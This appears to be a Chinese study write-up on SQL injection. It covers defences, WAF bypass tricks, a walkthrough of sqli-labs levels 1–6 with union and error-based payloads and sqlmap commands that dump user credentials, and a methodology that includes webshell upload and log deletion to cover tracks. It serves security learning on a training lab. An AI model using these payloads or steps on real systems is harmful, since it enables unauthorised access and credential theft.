目录
一、总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
一、总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
1.SQL注入原理
SQL注入(SQL Injection)是一种安全漏洞,它允许攻击者通过插入或“注入”恶意的SQL命令到应用程序的数据库查询中,从而获取对数据库的未授权访问。其基本原理包括:
(1).恶意拼接查询:攻击者通过在Web表单的输入域或页面请求中插入恶意的SQL命令,使得这些命令与应用程序原本的SQL语句拼接,从而改变原SQL语句的功能。
(2).利用注释执行非法命令:攻击者可以利用SQL注释(如--、#或/**/)来绕过原有的SQL语句的剩余部分,从而执行其注入的恶意SQL命令。
2.SQL注入常用函数及含义
SQL注入攻击中,攻击者可能会使用多种数据库函数来辅助攻击,以下是一些常见的函数及其含义:
3.SQL注入防御手段
为了有效防御SQL注入攻击,可以采取以下措施:
(1)使用预编译语句(Prepared Statements)和参数化查询:这是预防SQL注入的最有效方法之一,通过这种方式,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构。
(2)使用存储过程:存储过程也可以像预编译语句一样防止SQL注入,因为它们同样使用参数化查询。
(3)使用ORM(对象关系映射)工具:许多现代编程框架提供了ORM工具,它们可以自动进行参数化查询,从而降低直接编写SQL语句的风险。
(4)验证用户输入:对所有用户输入进行验证,拒绝不符合预期格式的输入,可以减少注入攻击的风险。
(5)使用适当的错误处理机制:不要在错误信息中透露敏感信息,以免给攻击者提供攻击线索。
(6)限制数据库权限:为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户。
(7)定期更新和打补丁:保持数据库管理系统(DBMS)更新到最新,修补已知的安全漏洞。
(8)使用Web应用防火墙(WAF):WAF可以帮助识别和阻挡SQL注入攻击。
(9)定期进行安全审计和代码审查:检查潜在的安全漏洞,及时修复。
4.SQL注入常用绕过WAF的方法
攻击者可能会尝试绕过WAF的防御措施,以下是一些常见的绕过方法:
(1)注释符号绕过:使用SQL注释符号(如--、#或/**/)来隐藏恶意SQL代码,使其不会被WAF识别或过滤。
(2)编码绕过:使用URL编码、Unicode编码等方式来隐藏恶意SQL代码,从而绕过WAF的检测。
(3)大小写绕过:利用数据库系统对大小写不敏感的特性,将SQL关键字改写为不同的大小写形式来绕过基于大小写的过滤器。
(4)特殊字符绕过:使用引号等特殊字符来构造恶意SQL代码,从而绕过WAF的检测。
(5)逻辑漏洞绕过:利用应用程序或数据库的逻辑漏洞,结合盲注等技术来绕过WAF的检测。
二、sqli-labs手工通关前5关
第一关
1.根据网站提示输入数字id作为参数:?id=1
2.再输入?id=2时,网站的页面该笔那,可以看出通过数字值不同返回的内容也不同,输入被带到数据库里面查询了
猜测注入类型,输入?id=1’时报错
输入?id=1'--+时正常无报错
综上所以是字符型注入,闭合方式是字符’
3.尝试联合注入
(1)首先找出表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
可以试出?id=1'order by 3 --+正常,输入?id=1'order by 4 --+报错,所以有3列。
(2)查看表格里的哪一列被展示:?id=-1'union select 1,2,3--+
可以看出被展示的数据位于第二列和第三列
(3)获取当前数据名和版本号:?id=-1'union select 1,database(),version()--+
(4)根据上面得到的信息进行爆表:?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
(5)爆字段名,通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中:?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
(6)可以看到关键字段username和password可以尝试得到对应的内容:?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
第二关:
1.当输入单引号或者双引号可以看到报错,且报错信息看不到数字,所以sql语句应该是数字型注入。那步骤和第一关一致
输入:?id=1’
输入:?id=2”
2.注入代码如下
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
其余基本与第一关一致,这里展示最后结果:
输入:?id=-1 union select 1,2,group_concat(username ,id , password) from users
第三关:
1.输入?id=2’)的时候页面出现报错,可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
2.依然依次尝试注入,代码如下:
?id=2')--+
3.?id=1') order by 3--+
4.?id=-1') union select 1,2,3--+
5.找到数据版本及数据库名字:?id=-1') union select 1,database(),version()--+
6.?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
7.?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
8.输入:?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
第四关:
1.输入:?id=1”)
根据页面报错信息得知sql语句是双引号字符型且有括号,找到注入点
2.输入以下代码进行注入,可以得出为3列:
?id=1") order by 3--+ 与id=1") order by 4--+
3.根据以下代码可以得出二列为用户名,三列为密码:
?id=-1") union select 1,2,3--+
4.数据库版本与数据库名字:
?id=-1") union select 1,database(),version()--+
5.从security数据库模式中获取所有表的名称,并将它们作为一个由逗号分隔的字符串返回:
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
6.查询users表的列名:
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
7.直接查询并返回users表中的敏感信息:
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
第五关:
1.输入:?id=2 或者 ?id=2”,页面虽然有显示,但是输入不同的数字页面一样,并且看不见访问数据库的信息,无回显。
输入:?id=2’,得知是字符型
这个时候用联合注入就没有用,如果不显示数据只有对错页面,显示我们可以选择布尔盲注。
布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。
2.尝试floor代码注入
(1)用floor报错注入,得到数据库名称:
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(database())))--+
(2)用floor报错注入,得到数据表名称
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
(3)用floor报错注入,得到字段名
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+
(4)用翻译软件翻译出来的意思是[子查询返回超过 1 行],所以用count函数统计看看有多少数据
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(username) from users)))--+
(5)用floor报错注入,得到username有13个,既然输出一行,那么用limit一个一个输出
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select count(username) from users)))--+
(6)用floor+limit报错注入,得到第一个用户账户
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select username from users limit 0,1)))--+
(7)用floor+limit报错注入,得到第二个用户账户,以此类推可得第三个用户,略
?id=1' and (select count(*)from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select username from users limit 1,1)))--+
三、总结SQLi的手工注入的步骤
SQL注入(SQLi)的手工注入步骤通常涉及一系列精心策划的尝试,旨在发现并利用Web应用程序中的SQL注入漏洞。以下是一个概括性的总结,概述了SQLi手工注入的基本步骤:
1. 信息收集
目标识别:确定可能的攻击目标,如登录页面、搜索功能、用户评论区域等。
工具使用:使用Web扫描器(如OWASP Zap, Burp Suite等)来初步识别潜在的SQL注入点。
查看源代码:如果可能,查看网页的源代码,寻找用户输入被直接嵌入到SQL查询中的证据。
2. 探测注入点
输入测试:向目标URL或表单输入单引号(')、双引号(")、注释符(--、#)等特殊字符,观察应用程序的反应。
错误消息分析:注意任何数据库错误信息,这些信息可能会泄露数据库的结构或类型。
布尔型盲注:如果应用程序没有显示错误信息,但会根据输入的不同返回不同的响应(如成功登录页面与错误页面),则可以使用布尔型盲注技术。
时间型盲注:如果应用程序的响应时间因输入的不同而变化,则可能使用时间型盲注技术。
3. 确定注入类型
基于错误的SQL注入:通过查看应用程序的错误消息来推断数据库的结构。
联合查询(UNION)SQL注入:如果应用程序的SQL查询允许使用UNION操作符,则可以通过构造特殊的查询来合并额外的结果集。
布尔型/时间型盲注:当应用程序不直接显示数据库信息时,通过控制应用程序的逻辑响应来推断信息。
堆叠查询(Stacked)SQL注入:如果应用程序的SQL接口允许执行多个语句,则可以通过堆叠查询来执行额外的SQL命令。
4. 提取数据
数据枚举:使用UNION SELECT、布尔型或时间型盲注技术来枚举数据库中的表名、列名和数据。
文件读取:尝试读取数据库服务器上的文件,如配置文件或敏感数据文件。
数据库管理系统(DBMS)功能利用:利用数据库特定的函数或存储过程来执行更复杂的操作。
5. 权限提升
数据库账户权限提升:如果初始注入点提供的权限较低,尝试通过数据库的功能来提升权限。
操作系统交互:利用数据库服务器的配置或漏洞来执行操作系统命令。
6. 维持访问
后门创建:在数据库中创建新的账户、存储过程或触发器,以便在未来能够重新获得访问权限。
Webshell上传:如果可能,上传Webshell到服务器,以便通过Web界面直接控制服务器。
7. 清除痕迹
日志删除:删除或修改数据库和应用程序的日志文件,以掩盖攻击痕迹。
恢复原始状态:尽可能地将数据库和应用程序恢复到攻击前的状态,以避免被管理员发现异常。
四、使用sqlmap通过第六关
1.检测注入点
首先使用sqlmap来检测是否存在SQL注入点。打开终端或命令提示符,输入以下命令:
python sqlmap.py -u "http://sqli-labs-master:8989/Less-6/?id=1"
注:(--batch参数用于自动执行sqlmap的默认行为,无需用户交互)
2.列出所有数据库
检测到注入点之后,可以列出服务器上的所有数据库:
python sqlmap.py -u "http://sqli-labs-master:8989/Less-6/?id=1" --dbs
3.选择并列出数据库中的表
若是知道目标数据库的名称(security),可以列出该数据库中的所有表:
python sqlmap.py -u "http://sqli-labs-master:8989/Less-6/?id=1" -D security --tables
4.选择表并列出字段
列出users表中的所有字段。使用以下命令:
python sqlmap.py -u "http://sqli-labs-master:8989/Less-6/?id=1" -D security -T users --columns
5.导出数据
最后,可以导出users表中的username和password字段中的数据,使用以下命令:python sqlmap.py -u "http://sqli-labs-master:8989/Less-6/?id=1" -D security -T users --dump